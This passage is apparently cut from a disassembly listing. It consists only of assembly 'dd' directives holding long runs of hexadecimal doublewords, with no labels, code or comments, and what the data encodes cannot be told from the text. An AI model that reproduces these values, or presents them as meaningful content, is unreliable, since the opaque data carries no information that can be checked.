9C5D586Dh, 0B9C9BF20h, 0BA5C20F5h dd 8D2630EDh, 0B1434186h, 7CC7F4A2h, 0E9FED87Bh, 0CBAFE33h dd 11AB654Dh, 13C7A6A4h, 0FCC14397h, 0B28191F0h, 2D807921h dd 0DA004E43h, 0A0C1F45Eh, 0BE02F55h, 0CA501A83h, 0DD583F35h dd 0CCB02D56h, 0F1F6A277h, 0B614D9B9h, 0A0C9218Ch, 184F6AE6h dd 4DE2C4BDh, 58DDBAC5h, 42975724h, 0C5E47C3h, 7775B690h dd 6FF8345Dh, 74B2E1A7h, 0B16CFCFEh, 0F8C9045h, 431A1BA2h dd 6643208Ah, 572690DEh, 5700BBECh, 225DF9B9h, 0FE141BF2h dd 62F9475Eh, 0E72BB0C7h, 0AFC5B89h, 731A6B08h, 81B1DD5Ah dd 0ADCDD63Ch, 326D05DCh, 0C5ACD8A4h, 0BF2489BBh, 8BBCAC49h dd 2FF2A9A8h, 0D0F7D77Dh, 6641819Dh, 456C9C3h, 404456Ah dd 0BD7E0846h, 0D28C9528h, 0C634C08Dh, 253D6949h, 2D943EB7h dd 0A9669440h, 6295CF14h, 0A91825F7h, 8971E398h, 0CC43F632h dd 0F1C83688h, 9C927BF5h, 0D4FBDA39h, 0FCED4EB2h, 986C6C87h dd 7D3213FAh, 58D4E5A2h, 9886D075h, 68ECA56Dh, 93F3A708h dd 94E340FFh, 6BE445B1h, 52819280h, 9B651548h, 4C307714h dd 504F9D37h, 7D060065h, 79CC736Fh, 80190453h, 766B5943h dd 155F869Ch, 76C40A3Eh, 0BA96D090h, 0D4ACD289h, 0D13C1140h dd 0E5BD7989h, 0F0C5171Ch, 1B15DC81h, 0D84A6512h, 18250FAEh dd 78B2F572h, 60D8EF9Eh, 228CDA42h, 429A1FEAh, 66831D66h dd 570693E8h, 6640B855h, 9761CACFh, 87302CE2h, 6B8052Eh dd 472CF6BAh, 66CEE9BCh, 772D1D3Bh, 0D0D39C62h, 24ABA358h dd 76AB4395h, 0E78AB2CDh, 8E0ACAF5h, 8342D227h, 8622A828h dd 7F30C73Dh, 0CA2891BDh, 0A96CD933h, 0A92AD572h, 10BBD842h dd 7FEBA52Ah, 6B8F6082h, 89A8148h, 400332B7h, 0E4478A40h dd 37E15639h, 0CF71B405h, 0E3184939h, 0BD43CDB5h, 93A66971h dd 9D312751h, 0B949A1A1h, 88AC21C9h, 0B9F20365h, 884B7647h dd 989C9626h, 19F2BE0Ch, 5887CC09h, 0F99D5377h, 0A8866790h dd 7080C6D1h, 0F481F1F3h, 8E806926h, 0B800666h, 5801F05Eh dd 1840690Ch, 5BA01B83h, 0E0707C76h, 15882D16h, 76BCE380h dd 7682EE49h, 0CF0FE2F5h, 0A0C19E1Fh, 0B4206228h, 4C8A03FBh dd 84F32947h, 604F71A8h, 0A84A2612h, 1022EC2Eh, 7CB2E532h dd 62E8E7BEh, 0D8CDE72h, 421A1DD2h, 66C31A62h, 57E6926Ah dd 6650B816h, 1719CAECh, 47342C95h, 0E6A60537h, 0B72DF6BEh dd 6ECE6842h, 732CDD3Ah, 6ED3FC62h, 6BA35358h, 513B5B95h dd 946ABECDh, 866ACCF5h, 87F2D327h, 852AA8A8h, 7C3CC6FDh dd 0CEAA91DDh, 0A92FD923h, 0A9C9557Ah, 158B985Eh, 7F93DCBFh dd 6B8B7083h, 88848948h, 5EA36B7h, 0C1971841h, 22588538h dd 0D2D1C784h, 9F184978h, 0B343D595h, 92A66541h, 9DB12169h dd 0B909A0A5h, 88CC214Fh, 0B9E202A4h, 8537627h, 0D8989636h dd 39F4BE04h, 6886CC15h, 0F19DD371h, 0AC86A791h, 0F280E6D1h dd 0B581C1F3h, 0AE001126h, 1BC01A66h, 4061FE5Eh, 6450680Ch dd 55B81B03h, 0E1747CB6h, 150E22F6h, 76FDE390h, 76E26E41h dd 0CF1F22F9h, 0A0D97E1Dh, 0B424522Bh, 97D73BFCh, 1FA90E1Dh dd 2A9CB4F3h, 49C3F712h, 0F9AADCAEh, 0B13AC5F2h, 9D608F5Eh dd 0FB04D262h, 0B0F203DAh, 67030B6Eh, 57C692E4h, 6660B8D7h dd 9711C50Ch, 7382C85h, 0C6A4053Fh, 0A72EF6B2h, 16C9E840h dd 7F2C9D39h, 0ECD3DC65h, 0A2A94359h, 0B1AA5395h, 75DEBACDh dd 6E1FDEF5h, 4AB6C027h dd 7BC6B728h, 88ECD6BDh, 38F081FDh, 595AC913h, 0A9E9C282h dd 109C585Ah, 7F9BE52Eh, 6B870080h, 8869137h, 0C0013AB6h dd 24408E40h, 57E0D439h, 0DF71F705h, 9B1856B9h, 0B941DDF5h dd 95A46151h, 6EC12361h, 4989B359h, 781C3ECDh, 492212E3h dd 78AB6606h, 0EAB48606h, 0ABF6A9FCh, 7885DC11h, 0C9825373h dd 0A086E792h, 748086AEh, 7681D1F2h, 4F801926h, 6B001E66h dd 4841FC5Eh, 60206B0Ch, 57B01C83h, 17287CF6h, 0E70032D6h dd 86E2F3A0h, 76C3FE39h, 0CF2F62FDh, 0A0D15E1Bh, 0B428422Ah dd 17D433FCh, 5FAA0A1Dh, 0FB0B36F3h, 884AA812h, 22AD2Eh dd 44B2C5B2h, 6EE8977Eh, 0B8CC592h, 411A11C2h, 6743186Ah dd 57A69566h, 6670B8A8h, 1709C52Dh, 0C73C2CB5h, 0A6A20547h dd 972FF6B6h, 1EC96846h, 7B2C5D38h, 6AD23C65h, 0E9AB7359h dd 9014AB95h, 0B4CAA6CDh, 97EAC0F5h, 0BF92D127h, 881AA7A8h dd 7844C67Dh, 0C9A6901Dh, 0A8B1D903h, 0A988528Ah, 108C1856h dd 7F820530h, 6B831081h, 88809937h, 80003EB6h, 4400C40h dd 47E01339h, 0E7701685h, 971866F9h, 0B0BC25D5h, 94A67D21h dd 9EB12D79h, 0B889A25Dh, 880C2E53h, 0B9C20222h, 8A377E6h dd 58909616h, 7988B9F4h, 884CC1Dh, 0C182D36Dh, 0A4872793h dd 0F680A6AEh, 378021F2h, 6F000126h, 7B401266h, 70A1FA5Eh dd 6C306A0Ch, 56481C03h, 0E76C7D36h, 163222B6h, 777BE3B0h dd 76236E31h, 0CF3EA2E1h, 0A0293E19h, 0B42FB235h, 97AA2BFDh dd 9FAB061Dh, 9B0BB0F3h, 984B6912h, 78228DAEh, 48B33472h dd 68E88F1Eh, 88CC982h, 409A17CAh, 67831976h, 578695E0h dd 6680B969h, 9701C54Dh, 86C02CA5h, 86A0054Fh, 8710F6AAh dd 6C8E844h, 472C1D27h, 0E8D21C64h, 28AB6359h, 0F094A395h dd 0A48AA2CDh, 0EF8AC2F5h, 0B382D627h, 8E02A628h, 7B40C63Dh dd 0C820903Dh, 0A870D973h, 0A9A8D292h, 107CD852h, 7F8A2532h dd 6A7F2086h, 8826136h, 403F22B6h, 64418240h, 77E05239h dd 0EF703605h, 93187639h, 0B6BC2C35h, 97A67931h, 9F312F71h dd 0B849A551h, 882C2FD1h, 0B9B20261h, 88AB77C9h, 988C9667h dd 998AB9ECh, 1883CC19h, 0D983536Fh, 0D8876794h, 388046AFh dd 0D08031F2h, 1C800926h, 72801666h, 7481F85Eh, 6E00650Ch dd 51401D83h, 0E4E07D76h, 17F02296h, 7758E240h, 761CEE29h dd 0CF36E2E5h, 0A0251E17h, 0B42DA234h, 17A923FDh, 0DFAC821Dh dd 0BB0BF2F3h, 0E84B0A12h, 30229A2Eh, 6CB33C32h, 7AE88B3Eh dd 718CCBB2h, 4C1A14B2h, 61C316F2h, 576695A2h, 6610B94Ah dd 1779C57Ah, 47242D5Ch, 66BE054Bh, 0F729F6ACh, 0ECC6845h dd 0C32DDD27h, 0A6D37C64h, 0FAB9359h, 0C32B7B95h, 0AD4A8ECDh dd 0EBAAB4F5h, 0B1B2CF27h, 8F0AAAA8h, 7BCCC7FDh, 0C862915Dh dd 0A813D9E3h, 0A9BF555Ah, 1064984Eh, 7F8E4524h, 6A79308Fh dd 8883694Ah, 3FA6B4h, 44414047h, 0E7EFB138h, 37703985h dd 0EF180E79h, 0A4BC3015h, 0AEA67701h, 93B12E89h, 0BE09A5D5h dd 8B4C2F17h, 0B8220580h, 87377D9h, 0D8A8966Fh, 0B9FCB9E0h dd 288ACC67h, 0D19FD36Eh, 5C85A794h, 7A8766AFh, 0F18181F2h dd 0C007126h, 4AC00A66h, 78E1F65Eh, 68106C0Ch, 50581903h dd 0E4647FB6h, 17B62D76h, 77B9E3D0h, 760C6E61h, 0CF4E22C9h dd 0A022FFE5h, 0B433922Fh, 97A85BFAh, 1FAC1E1Ch, 5B0A3CF3h dd 0F84B2B12h, 28226AAEh, 70B324F2h, 64E884DEh, 0E8CCDA2h dd 439A15BAh, 6603167Eh, 5746945Ch, 6620B92Bh, 9771C56Ah dd 7282D54h, 46BC0557h, 0E72AF6AEh, 36CFE84Ah, 4F2D9D26h dd 64D35C64h, 6EAB8359h, 0D3AB7395h, 0D50A8ACDh, 0A74AB6F5h dd 97A2CC27h, 9C72A928h, 248C7BDh, 0C4BC917Dh, 0AE32D9D3h dd 0A94FD562h, 10ED584Ah, 7FF26526h, 6B9BC08Ch, 89C7149h dd 0C0062AB7h, 0A4450640h, 17E19039h, 0BF712905h, 0AB1887B9h dd 9943F475h, 81A65511h, 84315981h, 85C9BC49h, 896C2355h dd 0B91203AFh, 88FB76A8h, 18E496F7h, 0D99EBE24h, 3899CC05h dd 0A9845379h, 9081E79Dh, 9C8106D3h, 828091F0h, 580F921h dd 0CE00CE67h, 0BAC1D45Eh, 8E05F0Ch, 43D1E283h, 226763F6h dd 1B91DCA9h, 718D22E0h, 7518EED9h, 0CEC6A20Dh, 0A076DE03h dd 0B414423Eh, 1752D3F2h, 5FAC9A10h, 7B985EF1h, 0C841FC11h dd 0A0AA6331h, 0B4BA60B3h, 8678C6FEh, 1F842ED2h, 5B8B1A22h dd 1A4BDE3Ah, 59B4907Eh, 61387B1Ch, 147ACA93h, 0C6E4ECD0h dd 269A0511h, 0D71BF68Fh, 0BEC769BAh, 0B215D3Eh, 42D1BC60h dd 5DA8B35Bh, 0DA14CB8Ah, 55CAF6CCh, 656AE8F5h, 0F6D2DD27h dd 0ACFAA1A8h, 0A14C37Dh, 0C0DE939Dh, 0AC25DAC3h, 0AA5652EAh dd 11691806h, 7F348508h, 6BBAD0BDh, 886CF931h, 800EEEB3h dd 84BAE442h, 7E39F3Ah, 478E5082h, 27191BF8h, 5F43BA55h dd 0E0A7B4E1h, 0B4B14919h, 8D89B48Dh, 828C24BBh, 0BF0201BEh dd 0BC371A0h, 5960977Bh, 0F950BE5Ah, 48B8CC24h, 61F4D309h dd 0F48A2785h, 0AE9D26D7h, 8B82E1EEh, 107E120h, 4C414267h dd 0FA21925Eh, 2970BE0Ch, 3329F203h, 0D5BC6836h, 1F6A2736h dd 738FE0F0h, 747961D1h, 0CE43A3B1h, 0A0BFBE41h, 0B4F17219h dd 97CF8A03h, 9F5DB608h, 0FDF248F5h, 0D8B7251Fh, 982467B0h dd 38B22173h, 0C0E9019Eh, 3C8C8F42h, 2A9BEA6Ah, 52830626h dd 7D069C08h, 7340BD05h, 0EDE1CB97h, 0CA702C4Eh, 20D804D0h dd 57FCF6EFh, 0FE56E9AAh, 2B591D36h, 31359C7Ch, 55B6A35Dh dd 0DE2DC38Bh, 0D3CE72CCh, 246B2AF5h, 0D6538227h, 0BCBA5028h dd 12F71B3Dh, 0FCCEBFBDh, 0ADDDAC33h, 0AB524BF2h, 11D71482h dd 7F7584CAh, 6BDA51D2h, 87D39A0h, 40168D7Bh, 0E4BEF45Eh dd 37E5872Ch, 4F8F5C8Bh, 0A3199DC4h, 1D437B57h, 0C3A79466h dd 253178D8h, 55484CEDh, 0FEAC38ABh, 0B2F20FB6h, 32CB70BCh dd 55DC97FDh, 0FF12BE9Bh, 0CBD7CDC4h, 20655319h, 0D452678Dh dd 0BEBAC6DBh, 93F4F1ECh, 3D0EE923h, 0C25DC678h, 3B23505Fh dd 0C9F7990Ch, 23684383h, 0CDDC1076h, 637A3B16h, 7D97EE80h dd 737D68C9h, 0CDC5A735h, 0A17EBCBFh, 0B4D1EDF8h, 17FF4B93h dd 0DF559640h, 3B1E78D9h, 0A8B5CDEDh, 90277BABh, 0BC4DAF74h dd 2E9409Fh, 0DD8CAFC2h, 3A1BFAAAh, 4AC30FC6h, 61E69818h dd 6D50BF0Dh, 9299C89Bh, 85F42BCCh, 7060493h, 0C7DDF6C0h dd 2666699Bh, 0D750DD4Eh, 3F39FC78h, 4CE4535Fh, 0A2AEDB88h dd 0FB77FECBh, 0C30B7CF4h, 25C0A327h, 5CB440A8h, 16D302FDh dd 0FEF8BBDDh, 0A2D4AE23h, 0ACDEC8FAh, 1215D71Eh, 7F56A48Ch dd 6BE5E1F3h, 88754190h, 1A9143h, 0C4BCFA5Ah, 27E68E2Eh dd 578CD808h, 5F19DF07h, 934318B4h, 2A783F1h, 2C677091h dd 0A50858C1h, 0F6CC3A99h, 0B6E20CCDh, 8CD3733Bh, 9AD897BCh dd 1894BEBBh, 0D816CDF4h, 3845D321h, 0C862A789h, 0A0B2E6DDh dd 8CF8C1EDh, 828C9123h, 8D9EDA78h, 1B00DE5Fh, 0F9C7D80Ch dd 0C2B62303h, 0C9D010B6h, 617830F6h, 7C94EA90h, 73FEEAC1h dd 0CD85E439h, 0A11E9F3Dh, 0B4C1DDBBh, 97E743B4h, 1F519271h dd 0DB187AE1h, 0B8B4CEE9h, 8827F82Dh, 804D6F35h, 8CE9A0BFh dd 9A8CBFF2h, 0F04DC292h, 7B0363C2h, 69C6861Ah, 6960BE0Eh dd 1091C818h, 44F82B0Fh, 0E7840470h, 379EF6DFh, 0AE01E992h dd 13409D42h, 5D21DC76h, 63B0435Eh, 5528D388h, 164CFACBh dd 0C52BEEF4h, 26F36027h dd 59B69F28h, 0FB4332BDh, 138693FDh, 4E7BC213h, 41894602h dd 0FF75861Ah, 9208D40Eh, 1495E130h, 770BB600h, 0BF65AA2Dh dd 5BCC672Dh, 0BABB9D22h, 0B2D0C386h, 0B645CB46h, 11430A94h dd 45A784C1h, 0E6310ED9h, 0B4C84885h, 8EEC4547h, 0BAD20CBCh dd 0EDB4FB3h, 0DBD497B8h, 38168085h, 0E855CDF5h, 0B1AA1313h dd 8C72E789h, 780A86DDh, 0FDFCD1EDh, 8A029923h, 8911DE78h dd 0E50C5C5Eh, 3781B0Ch, 2BF80483h, 0C99470F6h, 63B028D6h dd 8111E6A1h, 88766CB9h, 0CD81253Dh, 0A1007FBBh, 0B658D27Ah dd 0EA3BFBD5h, 0A3006E61h, 0FB1824E9h, 88B43F15h, 829FE0AFh dd 7A7163F3h, 0F2B1A65Eh, 5B8CBEE2h, 791BC21Ah, 6857720Eh dd 0AFE28675h, 6570BE1Fh, 9689C810h, 7FC2B13h, 0C6020476h dd 275FF6DEh, 0A8796992h, 0E1585D42h, 0A5AC3C76h, 9C30735Eh dd 0AB1E2B88h, 0E8CFE6CBh, 381E60F4h, 0D8092127h, 4A2ABFA8h dd 0E915327Dh, 1CA8A1Dh, 5C08D603h, 5395D40Ah, 0ED7E5916h dd 8036E590h, 949E8171h, 7708D15Fh, 7F88DAA2h, 0FB111E4Ah dd 0B8569C26h, 984ED304h, 0A8CBD8B9h, 68A31AF5h, 7B5784D1h dd 86B57121h, 849848B8h, 862A3ABCh, 0BEFE0CBAh, 8B6B7323h dd 188497B9h, 59CCBEC4h, 0F8E4CDF4h, 890CD320h, 80232788h dd 8430A6DCh, 0FDA321ECh, 88B08122h, 8A3ED279h, 1A0FDA5Eh dd 0FBFE5A0Dh, 289DE402h, 0CAF26137h, 621A20B7h, 7F16E2B1h dd 7025EEB0h, 0CE2F6220h, 0A2BC5E38h, 0B708C204h, 9433F3F4h dd 9CB46A10h, 98E426F0h, 9CBE2010h, 0FC31E130h, 8C6163B2h dd 8CDFA67Fh, 1CC8BE13h, 5CC9C203h, 1FED720Bh, 5D0E8677h dd 651ABE11h, 1029C810h, 0C23C2B12h, 0A24E0477h, 13E0F6DFh dd 5A38E993h, 1E321D43h, 5FF21C77h, 649A635Fh, 512A2389h dd 1384E2CAh, 0C38CE2F5h, 226AE626h, 0B15EDE29h, 1624C23Ch dd 0FE0A923Dh, 0A3C7DA72h, 0ADD45213h, 13241813h, 7E4D0513h dd 6AC490B7h, 93AD93Fh, 4170DEB3h, 65CF1C43h, 766A9B3Bh dd 6E2ED283h, 52A1D8F9h, 14931AD4h, 0C64F84A0h, 0A6C97138h dd 964248BCh, 9C363D42h, 82B20CBBh, 5587322h, 59B817B8h dd 793D3EC5h, 88C64DF5h, 81E8D321h, 8481E789h, 8696C6DDh dd 0FF8EB1EDh, 8B020923h, 89435678h, 19ACD85Fh, 0F8B1150Ch dd 2B864583h, 0C99CD176h, 61915896h, 7C897D40h, 73B3E0A9h dd 0CD862325h, 0A139BEB7h, 0B4CBB2C4h, 17F36A15h, 0DF41E601h dd 0BB77A0F9h, 0E8B4A11Dh, 0B283E1B3h, 0AC4D6271h, 182FA611h dd 0C35ABE02h, 0A6F1C20Bh, 16C37217h, 41668671h, 0E348BE11h dd 2491C811h, 5F602B13h, 6B820476h, 0E06DF6DEh, 0A4206992h dd 0E7C5DD42h, 0A7337C76h, 9EDC935Eh, 0ABD8FB88h, 0E9F7CECBh dd 39BB54F4h, 0D85A9F27h, 4B92C2A8h, 0E944D3FDh, 1A59B5Dh dd 5C545EE3h, 534610DAh, 0ED88FB0Eh, 80E31284h, 942898FFh dd 77A6DD12h, 0FFFADC80h, 0BB431339h, 0E7E29ABDh, 0B79CD2C2h dd 0AF3FD8D9h, 1B7F1524h, 0DEEF84B8h, 0BBE5713Ch, 8A6C48B2h dd 813C3D43h, 3DA40CBBh, 4A537323h, 795A97B9h, 0A3CBEC4h dd 0C3EACDF4h, 0A6D9D320h, 95DFA788h, 9CC766DCh, 806881ECh dd 863CF122h, 8A27CA79h, 1AA5565Eh, 0FB6A9C0Dh, 2843C102h dd 0CA2E53B7h, 6253DB77h, 7F537ED1h, 7062A0E0h, 0CE7DC308h dd 0A50AAE84h, 0B0D6EAFEh, 93CBC613h, 1B665001h, 5F5C59F8h dd 0FCE63D9Ch, 0AC49E072h, 0B4C56311h, 73A680h, 0DA24BECAh dd 0BF27C217h, 0ECD7201h, 45A68678h, 99D8BE1Ch, 9FE3C812h dd 84CA2B11h, 2E0470h, 0C3E4F6DEh, 0A3A9E993h, 12779D43h dd 45A15C77h, 5920835Fh, 5A96F389h, 1155CACBh, 0C5EB56F5h dd 27C29C26h, 0B5ECC129h, 170ED3BCh, 0FFF69B7Ch, 0A26ADED2h dd 0ADBCD0E3h, 1355DB0Bh, 7ED8A287h, 6A48E0FDh, 9CCC110h dd 0C1CAD282h, 0A55B1A3Bh, 161E9E3Fh, 3D86D001h, 6903DB3Ah dd 0F9431AB3h, 31D484F0h, 2C45F111h, 0D1DFC881h, 0BF79BAB9h dd 92118CBDh, 9D69F323h, 822817B8h, 1B373EC5h, 0D9ED4DF5h dd 0B96ED321h, 88D06789h, 80FA86DDh, 0FC9811EDh, 8A8DF923h dd 89960E78h, 190DB45Fh, 0F8F50F0Ch, 2BE7CA83h, 0C9A917F6h dd 61937956h, 7C904DE0h, 73975B59h, 0CDEE5F4Dh, 0A10020A3h dd 0B664E3CEh, 17E7C2ABh, 5D9652C4h, 79CE5A1Eh, 0CA5E3E0Dh dd 2327E03Ah, 0F44D633Dh, 26E9A6B3h, 0BBF8DBB7h, 7070A178h dd 0BA2D076Eh, 0A3268679h, 0F859D054h, 0EB05A97Ah, 0EFEF4E6Ah dd 78137018h, 0BC989ABEh, 0D6161DF1h, 8D55D2Ch, 258BD233h dd 35E7F02Ch, 3BFD22FCh, 72E065A7h, 0AB68E180h, 26C1AD27h dd 0C2801CE4h, 7F62EC18h, 9FBBACE9h, 0C0419CAFh, 0C2B9B11Eh dd 1229DFC6h, 2C20C52Fh, 0AA28799h, 0ED18A6F7h, 801AD2CFh dd 0C8C77F53h, 6B87FD60h, 0A2E1B96Ch, 6719DB3Fh, 0B2377FF7h dd 5CD2E09Ch, 0C0D83777h, 7CE906E7h, 5C8C7BDFh, 0D4E0CBEh dd 542F1243h, 254FFBD7h, 0E530BEBAh, 578DBFB7h, 47AAB655h dd 0B25342E5h, 0D0B256ADh, 93A7A08Ah, 0D8526123h, 0F128CE0Ch dd 6957772Bh, 0F9F2FC63h, 4A27CA03h, 0ACB58246h, 271CD641h dd 7CF2B199h, 1DA85351h, 9BF5FA1Ch, 0EE69A7C8h, 0D8A8B6AFh dd 97E7494Eh, 0F134E6CBh, 7E741179h, 0A8C4AC71h, 594095EAh dd 0F84D6F78h, 5386CCD6h, 82EDF7A4h, 0B2FEAECDh, 0E1C073C5h dd 0F167F672h, 0CE34ED69h, 4B06A672h, 0D9B02B0Ch, 5C1D6820h dd 0E8CCF6A0h, 548A87DAh, 0AFFA7130h, 67FBF91Dh, 2CEDC026h dd 226324E6h, 2F8232CBh, 8615EB91h, 50A4C76Ah, 0CD79B950h dd 6A9B6F3Dh, 8DB34BD8h, 0E2AD9A47h, 0AC5E6072h, 73305181h dd 0CE61B1Eh, 1890B18Dh, 84D3B6Bh, 254DAE0Fh, 97D38880h dd 4595CA6Bh, 0CF8C2ADFh, 65A1FF3h, 98375D32h, 56CB9AA4h dd 2D3168DBh, 53C2189h, 2CDC51F1h, 329A79AEh, 0ED4B73B8h dd 1E68FD38h, 0A142D3BDh, 7982A18Ah, 0EF083E49h, 135E6675h dd 0A444A99Ch, 0C6DB98ACh, 352D6963h, 39E32Bh, 3C4E5C36h dd 8381FD78h, 779E3EE1h, 0C51F5505h, 60DB916h, 10A1D9E9h dd 1C1C183Bh, 823CFB12h, 0C259AEBDh, 0B4B6F1BCh, 659ABAC7h dd 0B134A527h, 3B1A981Eh, 0DAC7AE40h, 79561EE8h, 0FC4D2B05h dd 438CF0D4h, 9BC9D5B2h, 736FA54Dh, 4EC37785h, 0A692E16Ch dd 0D83ED48Ah, 3219C983h, 93C04E0Fh, 7E036834h, 82BF8555h dd 0D50A1CE9h, 8C549C35h, 6CF6FC74h, 51873655h, 8F6538E6h dd 0DAA57BAFh, 0F60DED9Ch, 58B3F242h, 0C9F878A8h, 5BE04BBAh dd 997368B2h, 0C9098B4Dh, 0ADE70D14h, 7B3527DEh, 12EA1D1Fh dd 19949986h, 0C4259AFDh, 616D0C26h, 0A5F2DDA6h, 278B1383h dd 99DE45E3h, 2D2D3FB2h, 9F2F4A72h, 32A7FAEDh, 0EED60949h dd 0E569207Ch, 65A97491h, 43A3721Ah, 800173F0h, 3A7DCB04h dd 9458DFB8h, 759E88FFh, 2FEDD32Ch, 10F9C321h, 986789B2h dd 323EA4A1h, 8771122h, 1F01D51Fh, 364C7531h, 0E3BDF049h dd 7339CB03h, 0AB3A10D1h, 2D502A93h, 7F36C4F5h, 1C644341h dd 0AC54E710h, 0C450AFB1h, 0C1CC9398h, 0EE9E215Eh, 7C387041h dd 0AF6BD10Dh, 0B8B31F33h, 6D758B93h, 0A3286434h, 5880FE9Ch dd 99960DBEh, 0C1F2A5CBh, 4B711631h, 0C3AAE6BEh, 0AC2FB16Ch dd 7942A72Eh, 0B0D64BE9h, 7C166128h, 0EACEF12Ah, 5E9C99CBh dd 3A66F814h, 0A33ABF1Dh, 2DE54321h, 81193FCAh, 0D7BC69AEh dd 8A1EE782h, 57B8D16Fh dd 0CE789244h, 6E04EEBDh, 0AB471798h, 0C9036D76h, 0D9FD14E1h dd 61085FBBh, 7E8A7A6Eh, 59EA4A3h, 6D111E60h, 0A37659FCh dd 4ADEC7D1h, 169F0699h, 0DF8C08A0h, 757F1FA8h, 9410493Dh dd 56CE8F9Eh, 405E2CFEh, 0E2AF2C28h, 3CEC3F95h, 21B37E3Ch dd 8F3E20BCh, 5777F111h, 0E336BEADh, 5480BFDAh, 0CA01365Bh dd 0F0B79006h, 1D74C7BAh, 0A713D1EAh, 497C4Eh, 807FB2Bh dd 714A5F36h, 89AF8B0Ch, 749E1DE4h, 0A5C9ED84h, 23700BBAh dd 7F47CCD8h, 33737F78h, 0FF02C62Dh, 0CD44ACF5h, 0B4DFF7CAh dd 179DC8ACh, 5F5C55C5h, 0FB0EDF9Fh, 88B07D4Ch, 34839Bh dd 0C441334Ch, 2EE08EEBh, 0EBF74AC4h, 3119D42Fh, 0CF4E7904h dd 23A785FFh, 0CC7FB15Ch, 2219C973h, 0EDAF2AA0h, 33680449h dd 0EDFBF12Bh, 0B37F6984h, 0DED5D47h, 0C2753C74h, 1DC17321h dd 0FA6EAB89h, 0A1BA26CBh, 0BE2880F4h, 19EF268h, 0A29B599Ah dd 1B15AE11h, 0B12A215Ah, 0D20A4973h, 0C9C418FDh, 7E1B4E82h dd 0EE57815h, 0A8EA389h, 0EC6C9DF7h, 801F83A2h, 6AF86494h dd 298A3ABBh, 97C3453Dh, 175F658Ah, 990A3258h, 5AD59D9Bh dd 0DEFE1B61h, 62DD2BEAh, 0DC0C7E58h, 4D8B0A7Fh, 9BD116B4h dd 5A53EC0Eh, 0A6ADCD8Dh, 5E80A3F9h, 2CD2D34Ah, 0B76B483Dh dd 4931C8ADh, 0B60744B8h, 78596864h, 3B2E9278h, 36637311h dd 819AA458h, 1154CC6Fh, 0B0B6A761h, 99A5DD3h, 1A3BF2C3h dd 721D3370h, 9E46E735h, 0C070BEBCh, 0B4C881B9h, 0E5AA4F2Dh dd 0FA38F4E0h, 0FE6997EBh, 98B3691Dh, 1D749BE3h, 0AD204A3Bh dd 4D9BE0B9h, 0E8F32FA4h, 0C8DED4AFh, 0E7D702ADh, 67E7E0EDh dd 0FC80B14Ch, 5E73A02Dh, 0AF2C4A29h, 31056139h, 98E2F12Ch dd 4496BCE9h, 0CDF0732Eh, 0C7561C74h, 7F861340h, 0A713C2ECh dd 0ADD122CBh, 9B18E7BCh, 45A7D363h, 0CF06995Ah, 7E9D6E3Dh dd 943ED45Ch, 0A076501Fh, 0C8F78192h, 773743B3h, 11E21A33h dd 6BF9CE85h, 7822114Eh, 257ADD48h, 64B14574h, 7992A97h dd 8AF65003h, 131E0FE3h, 8522550Eh, 5ECB96B8h, 4A450FE0h dd 504845CFh, 99405A50h, 41F168FBh, 0AEC207B1h, 5F5FF40Eh dd 87A3CA83h, 33E3CD89h, 0CD36216Dh, 7B190300h, 5DF523B3h dd 8E2231EAh, 79A14851h, 767DF517h, 1394385Fh, 9C8AC678h dd 64BA28F1h, 0A16C7D22h, 39C5AF7h, 7FA66C40h, 3466477Dh dd 0CD2CE217h, 0CD70CCD7h, 0C0D7B2A7h, 6284AEFBh, 0DF4CD420h dd 0CF73679Ah, 8BDC6F3Ch, 3055E08Eh, 82183B54h, 5E87EB87h dd 949729B6h, 4C7EB656h, 27AC1FF0h, 170AECF9h, 0EC10C359h dd 373EC963h, 96DD782Ch, 63136121h, 0AEAC9C44h, 0DE152FF6h dd 0E03C8922h, 823F7C11h, 2E41F666h, 0BE1C1AFDh, 0C7647EBEh dd 0E93A1B92h, 55ECAF27h, 0A3973CDCh, 6BEC7B98h, 0F89F8538h dd 0E3714AA4h, 0C935FA2Fh, 603143A0h, 0DD5170Bh, 6BF8C99Ch dd 0E43380DEh, 747F0C25h, 2AD06D3Eh, 0E782D3CAh, 52DF2148h dd 17F4B93h, 0B8265A20h, 3AC98386h, 0E3B16E05h, 0F37C2148h dd 0FD25491Ah, 5F4F63F0h, 0BD2007BEh, 5F46F101h, 0E83CBE95h dd 550FBFA0h, 44D9BD6Bh, 3F13C906h, 2EFF08BAh, 9C16F39Eh dd 0D800245h, 23298A78h, 19A5422Dh, 83944D60h, 10546A6Ch dd 0AD0877B6h, 6C05D04h, 1AC334BCh, 720D5613h, 0BF1A8549h dd 0E747BBCCh, 0B4D69626h, 0F2BB4FEAh, 7B384710h, 3F745EA7h dd 0F8B349F8h, 4D756BEFh, 9E226426h, 4185EB9Dh, 2813999h dd 17F5B4E6h, 6E711328h, 3615845Fh, 8849F758h, 3F1E990Eh dd 95CD5F3Ah, 367C0457h, 8B2B947Ch, 575380CCh, 4D359D46h dd 275B3927h, 0B62E74Fh, 0B7061ACFh, 0D52B0ACBh, 0A77A76F4h dd 17AB2C27h, 0DC7EB928h, 224ACFBDh, 0F4BF957Dh, 0A63557D3h dd 0AD4F9462h, 12ED39CAh, 7EF27566h, 6B1BC96Ch, 85C7559h dd 0C06628AFh, 0A4B50544h, 17F9AFA7h, 0BF8D2944h, 2B1E8799h dd 0D942F445h, 0A1A7D5E9h, 94319985h, 0BDC85C4Fh, 8D6C3354h dd 3B120BAFh, 0C9FB72A8h, 386498F7h, 0E9DEBF24h, 3079CD85h dd 0BD945339h, 920DE67Dh, 0AD8806C3h, 0B23DA1D5h, 3592C960h dd 0FE0D7E1Eh, 8AAD2428h, 0B86A4F80h, 334A221Bh, 8D4D4B35h dd 1AB91F8Fh, 68D255A8h, 50631E83h, 0C5BFB3E1h, 9C71FE49h dd 834FCB9Bh, 26F5FE07h, 6DE56603h, 49586DD4h, 0FA000ED6h dd 92575189h, 62491D5h, 743FF479h, 4D6C5C00h, 7827E91Eh dd 5900C6A3h, 69AC7C4Ch, 0D964AFC6h, 696100FAh, 0C76C32D0h dd 36C60811h, 0DD10F70Fh, 80615AB7h, 3FAC6FABh, 709D8F3Eh dd 6FDB819Dh, 0E94EF89Ah, 625F4597h, 56DA9B7Bh, 45130E8Eh dd 0DF1A8278h, 99F7F88Eh, 4FDA394h, 0F06A6C83h, 8A23A1B6h dd 5FF50D14h, 468E41E5h, 59C5FC44h, 0BE6AC047h, 0B46BDDC1h dd 0B1F6D0D0h, 316FAA77h, 70A46658h, 9F2E2393h, 0A05182F4h dd 0B9E20DFFh, 0BED9B328h, 0BEC1EE43h, 